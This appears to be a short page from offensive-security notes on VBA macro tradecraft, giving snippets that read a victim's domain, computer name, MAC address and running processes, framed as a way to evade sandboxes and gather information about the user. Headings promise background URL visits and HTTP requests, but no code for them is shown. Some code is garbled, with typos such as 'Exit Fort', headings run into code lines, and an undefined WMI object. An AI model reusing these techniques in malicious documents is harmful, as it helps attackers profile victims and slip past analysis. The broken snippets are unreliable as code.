Info Extraction
This is how we will extract information with Macros. These can be used to evade sandboxes, or to just gather information about the user.
Extracting domain and computer name:
Set wshNetwork = CreateObject("Wscript.Network")
strUserDomain = wshNetwork.UserDomain
strCompName = wshNetwork.computernameExtracting MAC and IP
set cItems = objWMIService.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPENabled = True")
For Each oItem In cItems
If Not IsNull(oItem.IPAddress) Then myMacAddress = oItem.macAddress
Exit Fort
Next
set objProcessSet = objWMIService.ExecQuery("Select Name, ProcessID FROM Win32_Process")
For Each Process In objProcessSet
ProcessStr = ProcessStr & Process.Properties_("Name").Value & ":" & Process.Properties_("ProcessId").Value & "|"
NextVisit Url
Here are some more VBA tricks, the one below visits a URL in the background
This unhides all text
Get a process list
HTTP Request
Last updated
Was this helpful?